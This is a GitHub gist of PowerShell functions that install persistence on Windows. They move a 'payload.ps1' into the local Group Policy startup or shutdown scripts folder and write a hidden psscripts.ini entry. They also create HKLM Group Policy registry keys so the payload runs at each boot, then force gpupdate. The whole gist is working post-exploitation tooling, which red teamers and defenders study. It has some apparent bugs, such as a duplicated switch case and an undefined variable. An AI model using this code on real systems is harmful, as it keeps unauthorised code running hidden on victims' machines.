Skip to content

Instantly share code, notes, and snippets.

@killswitch-GUI
Last active July 16, 2018 13:48
Show Gist options
  • Save killswitch-GUI/28f7af7c29b4de3cc3456ad48a1cacbe to your computer and use it in GitHub Desktop.
Save killswitch-GUI/28f7af7c29b4de3cc3456ad48a1cacbe to your computer and use it in GitHub Desktop.
function Invoke-InstallPsGPOPersistence {
<#
.SYNOPSIS
Author: Alexander Rymdeko-Harvey (@Killswitch-gui)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke the install of PS or Scripts persistence install using reg keys and the proper .ini file.
Please save your payload to a writable directory
.PARAMETER Type
Specifies the desired type of reg key to install { StartUp, ShutDown } (Defualts to StartUp)
.PARAMETER RunOrder
Specifies the desired startup order of GPO scripts { First, Last } (Defualts to First)
.PARAMETER EntryNumber
Specifies the desired numerical script key to be built (Defualts to 0)
.PARAMETER ScriptPath
Specifies the desired path of the script to move to the correct directory.
.PARAMETER ScriptName
Specifies the desired name of the script to execute, ex "payload.ps1"
.PARAMETER ScriptParameters
Specifies the desired string of params to pass to scrit at start, ex "-Key 12345"
.PARAMETER Force
Specifies the force flag to be passed for appending data
.EXAMPLE
Invoke-InstallPsGPOPersistence -ScriptPath 'C:\payload.ps1' -ScriptName 'payload.ps1'
Invoke-InstallPsGPOPersistence -EntryNumber 0 -ScriptPath 'C:\payload.ps1' -ScriptName 'payload.ps1'
Invoke-InstallPsGPOPersistence -Type StartUp -RunOrder First -EntryNumber 0 -ScriptPath 'C:\payload.ps1' -ScriptName 'payload.ps1' -ScriptParameters "-key 122"
Invoke-InstallPsGPOPersistence -Type StartUp -RunOrder First -EntryNumber 0 -ScriptPath 'C:\payload.ps1' -ScriptName 'payload.ps1' -ScriptParameters "-key 122" -Force
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false, Position = 0)]
[ValidateSet("StartUp", "ShutDown")]
[String]
$Type = "StartUp",
[Parameter(Mandatory = $false, Position = 1)]
[ValidateSet("First", "Last", "None")]
[String]
$RunOrder = "First",
[Parameter(Mandatory = $false, Position = 2)]
[ValidateSet(0, 1, 2, 3, 4, 5, 6, 7, 8, 9)]
[Int]
$EntryNumber = 0,
[Parameter(Mandatory = $true, Position = 3)]
[String]
$ScriptPath,
[Parameter(Mandatory = $true, Position = 4)]
[String]
$ScriptName,
[Parameter(Mandatory = $false, Position = 5)]
[String]
$ScriptParameters,
[Parameter(Mandatory = $false, Position = 6)]
[Switch]
$Force = $false
)
Begin {
Write-Verbose "[*] Starting GPO script install"
# TODO: Write admin check for the user
}
Process {
# start execution
Write-Verbose "[*] Building directory tree"
New-Item C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup\ -ItemType Directory -Force
New-Item C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup\ -ItemType Directory -Force
Write-Verbose "[*] Moving script to correct location"
switch ($Type) {
"StartUp" { Move-Item -force -path $ScriptPath -destination C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup\ }
"ShutDown" { Move-Item -force -path $ScriptPath -destination C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown\ }
default { Move-Item -force -path $ScriptPath -destination C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup\ }
}
if ($Force){
Set-PsGPOScript -Type $Type -RunOrder $RunOrder -EntryNumber $EntryNumber -ScriptName $ScriptName -ScriptParameters $ScriptParameters -Force
Set-PsScriptsRegKey -Type $Type -RunOrder $RunOrder -EntryNumber $EntryNumber -ScriptName $ScriptName -ScriptParameters $ScriptParameters -Force
Run-GpUpdate -Type "Computer" -Force
}
else {
Set-PsGPOScript -Type $Type -RunOrder $RunOrder -EntryNumber $EntryNumber -ScriptName $ScriptName -ScriptParameters $ScriptParameters
Set-PsScriptsRegKey -Type $Type -RunOrder $RunOrder -EntryNumber $EntryNumber -ScriptName $ScriptName -ScriptParameters $ScriptParameters
Run-GpUpdate -Type "Computer"
}
}
End {
Write-Verbose "[*] Finshed GPO persistence install"
}
}
function Set-PsGPOScript {
<#
.SYNOPSIS
Author: Alexander Rymdeko-Harvey (@Killswitch-gui)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Sets the psscripts.ini file with some basic logic.
.PARAMETER Type
Specifies the desired type of reg key to install { StartUp, ShutDown } (Defualts to StartUp)
.PARAMETER RunOrder
Specifies the desired startup order of GPO scripts { First, Last } (Defualts to First)
.PARAMETER EntryNumber
Specifies the desired numerical script key to be built (Defualts to 0)
.PARAMETER ScriptName
Specifies the desired name of the script to execute, ex "payload.ps1"
.PARAMETER ScriptParameters
Specifies the desired string of params to pass to scrit at start, ex "-Key 12345"
.PARAMETER Force
Specifies the force flag to be passed for appending data
.EXAMPLE
Set-PsGPOScript -ScriptName "Test.ps1"
Set-PsGPOScript -ScriptName "Test.ps1" -EntryNumber 2
Set-PsGPOScript -ScriptName "Test.ps1" -EntryNumber 2 -ScriptParameters "-key 1234" -Force
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false, Position = 0)]
[ValidateSet("StartUp", "ShutDown")]
[String]
$Type = "StartUp",
[Parameter(Mandatory = $false, Position = 1)]
[ValidateSet("First", "Last", "None")]
[String]
$RunOrder = "First",
[Parameter(Mandatory = $false, Position = 2)]
[ValidateSet(0, 1, 2, 3, 4, 5, 6, 7, 8, 9)]
[Int]
$EntryNumber = 0,
[Parameter(Mandatory = $true, Position = 3)]
[String]
$ScriptName,
[Parameter(Mandatory = $false, Position = 4)]
[String]
$ScriptParameters,
[Parameter(Mandatory = $false, Position = 5)]
[Switch]
$Force = $false
)
Begin {
Write-Verbose "[*] Starting PS Script.ini file checks"
if (Test-Path C:\Windows\System32\GroupPolicy\Machine\Scripts\psscripts.ini) {
Write-Verbose "[*] psscripts.ini already exists, printing for backup"
$OrgScript = Get-Content C:\Windows\System32\GroupPolicy\Machine\Scripts\psscripts.ini
Write-Host "[!] WARNING psscripts.ini exists already, please backup the following:"
$OrgScript
Write-Host
}
else {
Write-Verbose "[*] No psscripts.ini found to backup"
}
}
Process {
# start execution
$OFS = "`r`n"
$ScriptPath = 'C:\Windows\System32\GroupPolicy\Machine\Scripts\psscripts.ini'
$sScriptPath = 'C:\Windows\System32\GroupPolicy\Machine\Scripts\scripts.ini'
if ($OrgScript) {
# try to append to the file correctly
# TODO: Handle the other params for start and stop conditions
if ($Type -eq "StartUp") {
if ($OrgScript -Contains "[Startup]") {
if (-Not $Force) {
throw "[!] Please enable -Force your about to append data to psscripts.ini"
}
# just append data
$OutData += "$EntryNumber" + "CmdLine=$ScriptName$OFS"
$OutData += "$EntryNumber" + "Parameters=$ScriptParameters"
$OutData | Out-File $ScriptPath -Encoding ASCII -Force -Append
$f=get-item $ScriptPath -Force
$f.Attributes="Archive","Hidden"
Write-Host "[*] Final file wrote to host: "
$f
}
else {
if (-Not $Force) {
throw "[!] Please enable -Force your about to append data to psscripts.ini"
}
# add new section to the fileby appending
$OutData += "[Startup]$OFS"
$OutData += "$EntryNumber" + "CmdLine=$ScriptName$OFS"
$OutData += "$EntryNumber" + "Parameters=$ScriptParameters"
$OutData | Out-File $ScriptPath -Encoding ASCII -Force -Append
$f=get-item $ScriptPath -Force
$f.Attributes="Archive","Hidden"
Write-Host "[*] Final file wrote to host: "
$f
}
}
if ($Type -eq "ShutDown") {
if ($OrgScript -Contains "[Shutdown]") {
if (-Not $Force) {
throw "[!] Please enable -Force your about to append data to psscripts.ini"
}
# just append data
$OutData += "$EntryNumber" + "CmdLine=$ScriptName$OFS"
$OutData += "$EntryNumber" + "Parameters=$ScriptParameters"
$OutData | Out-File $ScriptPath -Encoding ASCII -Force -Append
$f=get-item $ScriptPath -Force
$f.Attributes="Archive","Hidden"
Write-Host "[*] Final file wrote to host: "
$f
}
else {
if (-Not $Force) {
throw "[!] Please enable -Force your about to append data to psscripts.ini"
}
# add new section to the file by appending
$OutData += "[shutdown]$OFS"
$OutData += "$EntryNumber" + "CmdLine=$ScriptName$OFS"
$OutData += "$EntryNumber" + "Parameters=$ScriptParameters"
$OutData | Out-File $ScriptPath -Encoding ASCII -Force -Append
$f=get-item $ScriptPath -Force
$f.Attributes="Archive","Hidden"
Write-Host "[*] Final file wrote to host: "
$f
}
}
}
else {
$OutData += "$OFS"
$OutData += "[ScriptsConfig]$OFS"
switch ($RunOrder) {
"First" { $OutData += "StartExecutePSFirst=true$OFS" }
"Last" { $OutData += "StartExecutePSFirst=false$OFS" }
"Last" { $OutData += "StartExecutePSFirst=$OFS" }
default { $OutData += "StartExecutePSFirst=true$OFS" }
}
switch ($StartUp) {
"StartUp" { $OutData += "[Startup]$OFS" }
"StartUp" { $OutData += "[Shutdown]$OFS" }
default { $OutData += "[Startup]$OFS" }
}
$OutData += "$EntryNumber" + "CmdLine=$ScriptName$OFS"
$OutData += "$EntryNumber" + "Parameters=$ScriptParameters"
$OutData | Out-File $ScriptPath -Encoding ASCII -Force
$f=get-item $ScriptPath -Force
$f.Attributes="Archive","Hidden"
Write-Host "[*] Final file wrote to host: "
$f
}
}
End {
Write-Verbose "[*] Finshed psscript.ini install"
}
}
function Run-GpUpdate {
<#
.SYNOPSIS
Author: Alexander Rymdeko-Harvey (@Killswitch-gui)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke the gpudate command to apply new GPO updates for computer.
.PARAMETER Type
Specifies the desired type of GPO update { Computer : User }
.PARAMETER Force
Specifies the force flag to be passed
.EXAMPLE
Run-GpUpdate -Type 'Computer' -Force
Run-GpUpdate -Type 'User' -Force
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true, Position = 0)]
[ValidateSet("User", "Computer")]
[String]
$Type = "Computer",
[Parameter(Mandatory = $false, Position = 1)]
[Switch]
$Force = $false
)
Begin {
#Declare we are starting
Write-Verbose "[*] Starting GPO Update"
}
Process {
# start execution
if ($Type -Match "User") {
$Command = "/Target:User "
}
if ($Type -Match "Computer") {
$Command = "/Target:Computer "
}
if ($Force) {
$ForceCommand = "/Force"
$Command = $Command + $ForceCommand
}
# https://social.technet.microsoft.com/wiki/contents/articles/7703.powershell-running-executables.aspx#cmd_c_Using_the_old_cmd_shell
$ps = new-object System.Diagnostics.Process
$ps.StartInfo.Filename = "gpupdate.exe"
$ps.StartInfo.Arguments = $Command
$ps.StartInfo.RedirectStandardOutput = $True
$ps.StartInfo.UseShellExecute = $false
Write-Verbose "[*] Exectuing gpupdate.exe"
$ps.start()
Write-Verbose "[*] Exectuing gpupdate.exe finshed"
$ps.WaitForExit()
[string] $Out = $ps.StandardOutput.ReadToEnd();
$Out
}
End {
Write-Verbose "[*] Finshed GPO update"
}
}
function Set-PsScriptsRegKey {
<#
.SYNOPSIS
Author: Alexander Rymdeko-Harvey (@Killswitch-gui)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Sets the reg keys needed for a GPO script to be enabled.
.PARAMETER Type
Specifies the desired type of reg key to install { StartUp, ShutDown } (Defualts to StartUp)
.PARAMETER RunOrder
Specifies the desired startup order of GPO scripts { First, Last } (Defualts to First)
.PARAMETER EntryNumber
Specifies the desired numerical script key to be built (Defualts to 0)
.PARAMETER ScriptName
Specifies the desired name of the script to execute, ex "payload.ps1"
.PARAMETER ScriptParameters
Specifies the desired string of params to pass to scrit at start, ex "-Key 12345"
.PARAMETER Force
Specifies the force of a overwrite of the key if it already present
.EXAMPLE
PsScriptsRegKey -ScriptName "test.ps1"
PsScriptsRegKey -ScriptName "test.ps1" -RunOrder 'First'
PsScriptsRegKey -ScriptName "test.ps1" -RunOrder 'First' -Force
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false, Position = 0)]
[ValidateSet("StartUp", "ShutDown")]
[String]
$Type = "StartUp",
[Parameter(Mandatory = $false, Position = 1)]
[ValidateSet("First", "Last", "None")]
[String]
$RunOrder = "First",
[Parameter(Mandatory = $false, Position = 2)]
[ValidateSet(0, 1, 2, 3, 4, 5, 6, 7, 8, 9)]
[Int]
$EntryNumber = 0,
[Parameter(Mandatory = $true, Position = 3)]
[String]
$ScriptName,
[Parameter(Mandatory = $false, Position = 4)]
[String]
$ScriptParameters,
[Parameter(Mandatory = $false, Position = 5)]
[Switch]
$Force = $false
)
Begin {
#Declare we are starting
Write-Verbose "[*] Checking if EntryNumber is present"
$Path = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\$EntryNumber"
Write-Verbose "[*] Checking path: $Path"
if (Test-RegistryKeyValue -Path $Path -Name 'Script') {
# throw error and make user use Force
Write-Verbose "[*] EntryNumber is present"
if (-Not $Force) {
Throw "[*] Please check if entry in registry already exists or use -Force to overwrite"
}
else {
Write-Verbose "[*] -Force enabled and overwriting the current key"
}
}
}
Process {
# write root keys
try {
# build variables for function
$StartUpNumber = 0
$RootPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\$StartUpNumber"
$RootPathState = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\$StartUpNumber"
$DisplayName = "Local Group Policy"
$FileSysPath = "C:\Windows\System32\GroupPolicy\Machine"
$GPOID = "LocalGPO"
$GPOName = "Local Group Policy"
switch ($RunOrder) {
"First" { $PSScriptOrder = 2 }
"Last" { $PSScriptOrder = 3 }
"None" { $PSScriptOrder = 1 }
default { $PSScriptOrder = 1 }
}
$SOMID = "Local"
Write-Verbose "[*] Building root key for script"
if (-Not $Force) {
New-Item -Path $RootPath | Out-Null
New-ItemProperty -Path $RootPath -Name "DisplayName" -Value $DisplayName -PropertyType STRING | Out-Null
New-ItemProperty -Path $RootPath -Name "FileSysPath" -Value $FileSysPath -PropertyType STRING | Out-Null
New-ItemProperty -Path $RootPath -Name "GPO-ID" -Value $GPOID -PropertyType STRING | Out-Null
New-ItemProperty -Path $RootPath -Name "GPOName" -Value $GPOName -PropertyType DWORD | Out-Null
New-ItemProperty -Path $RootPath -Name "PSScriptOrder" -Value $PSScriptOrder -PropertyType STRING | Out-Null
New-ItemProperty -Path $RootPath -Name "SOM-ID" -Value $SOMID -PropertyType STRING | Out-Null
New-Item -Path $RootPathState | Out-Null
New-ItemProperty -Path $RootPathState -Name "DisplayName" -Value $DisplayName -PropertyType STRING | Out-Null
New-ItemProperty -Path $RootPathState -Name "FileSysPath" -Value $FileSysPath -PropertyType STRING | Out-Null
New-ItemProperty -Path $RootPathState -Name "GPO-ID" -Value $GPOID -PropertyType STRING | Out-Null
New-ItemProperty -Path $RootPathState -Name "GPOName" -Value $GPOName -PropertyType DWORD | Out-Null
New-ItemProperty -Path $RootPathState -Name "PSScriptOrder" -Value $PSScriptOrder -PropertyType STRING | Out-Null
New-ItemProperty -Path $RootPathState -Name "SOM-ID" -Value $SOMID -PropertyType STRING | Out-Null
Write-Verbose "[*] Completed root reg keys"
}
else {
New-Item -Path $RootPath -Force | Out-Null
New-ItemProperty -Path $RootPath -Name "DisplayName" -Value $DisplayName -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $RootPath -Name "FileSysPath" -Value $FileSysPath -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $RootPath -Name "GPO-ID" -Value $GPOID -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $RootPath -Name "GPOName" -Value $GPOName -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $RootPath -Name "PSScriptOrder" -Value $PSScriptOrder -PropertyType DWORD -Force | Out-Null
New-ItemProperty -Path $RootPath -Name "SOM-ID" -Value $SOMID -PropertyType STRING -Force | Out-Null
New-Item -Path $RootPathState -Force | Out-Null
New-ItemProperty -Path $RootPathState -Name "DisplayName" -Value $DisplayName -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $RootPathState -Name "FileSysPath" -Value $FileSysPath -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $RootPathState -Name "GPO-ID" -Value $GPOID -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $RootPathState -Name "GPOName" -Value $GPOName -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $RootPathState -Name "PSScriptOrder" -Value $PSScriptOrder -PropertyType DWORD -Force | Out-Null
New-ItemProperty -Path $RootPathState -Name "SOM-ID" -Value $SOMID -PropertyType STRING -Force | Out-Null
Write-Verbose "[*] Completed root reg keys with -Force"
}
} # end try
catch {
$ErrorMessage = $_.Exception.Message
Write-Host $ErrorMessage
Throw "[!] Failed to write root key (EXITING)"
} # end catch
# write values to root key of the GPO script
try {
$ChildPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\$StartUpNumber\$EntryNumber"
$ChildPathState = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup\$StartUpNumber\$EntryNumber"
$ExecTime = 0
$IsPowershell = 1
$Parameters = $ScriptParameters
$Script = $ScriptName
Write-Verbose "[*] Building child key for script"
if (-Not $Force) {
New-Item -Path $ChildPath | Out-Null
New-ItemProperty -Path $ChildPath -Name "ExecTime" -Value $ExecTime -PropertyType QWORD | Out-Null
New-ItemProperty -Path $ChildPath -Name "Parameters" -Value $Parameters -PropertyType STRING | Out-Null
New-ItemProperty -Path $ChildPath -Name "Script" -Value $Script -PropertyType STRING | Out-Null
New-Item -Path $ChildPathState | Out-Null
New-ItemProperty -Path $ChildPathState -Name "ExecTime" -Value $ExecTime -PropertyType QWORD | Out-Null
New-ItemProperty -Path $ChildPathState -Name "IsPowershell" -Value $IsPowershell -PropertyType DWORD | Out-Null
New-ItemProperty -Path $ChildPathState -Name "Parameters" -Value $Parameters -PropertyType STRING | Out-Null
New-ItemProperty -Path $ChildPathState -Name "Script" -Value $Script -PropertyType STRING | Out-Null
}
else {
New-Item -Path $ChildPath -Force | Out-Null
New-ItemProperty -Path $ChildPath -Name "ExecTime" -Value $ExecTime -PropertyType QWORD -Force | Out-Null
New-ItemProperty -Path $ChildPath -Name "Parameters" -Value $Parameters -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $ChildPath -Name "Script" -Value $Script -PropertyType STRING -Force | Out-Null
New-Item -Path $ChildPathState -Force | Out-Null
New-ItemProperty -Path $ChildPathState -Name "ExecTime" -Value $ExecTime -PropertyType QWORD -Force | Out-Null
New-ItemProperty -Path $ChildPathState -Name "IsPowershell" -Value $IsPowershell -PropertyType DWORD -Force | Out-Null
New-ItemProperty -Path $ChildPathState -Name "Parameters" -Value $Parameters -PropertyType STRING -Force | Out-Null
New-ItemProperty -Path $ChildPathState -Name "Script" -Value $Script -PropertyType STRING -Force | Out-Null
}
} # end try
catch {
$ErrorMessage = $_.Exception.Message
Write-Host $ErrorMessage
Throw "[!] Failed to write child key (EXITING)"
} # end catch
}
End {
Write-Verbose "[*] Finshed writing powershell registry keys"
}
}
function Test-RegistryKeyValue
{
<#
.SYNOPSIS
Tests if a registry value exists.
http://stackoverflow.com/questions/5648931/test-if-registry-value-exists
.DESCRIPTION
The usual ways for checking if a registry value exists don't handle when a value simply has an empty or null value. This function actually checks if a key has a value with a given name.
.EXAMPLE
Test-RegistryKeyValue -Path 'Registry::\Software\Carbon\Test' -Name 'Title'
Returns `True` if `hklm:\Software\Carbon\Test` contains a value named 'Title'. `False` otherwise.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]
# The path to the registry key where the value should be set. Will be created if it doesn't exist.
$Path,
[Parameter(Mandatory=$true)]
[string]
# The name of the value being set.
$Name
)
if( -not (Test-Path -Path $Path -PathType Container) )
{
return $false
}
$properties = Get-ItemProperty -Path $Path
if( -not $properties )
{
return $false
}
$member = Get-Member -InputObject $properties -Name $Name
if( $member )
{
return $true
}
else
{
return $false
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment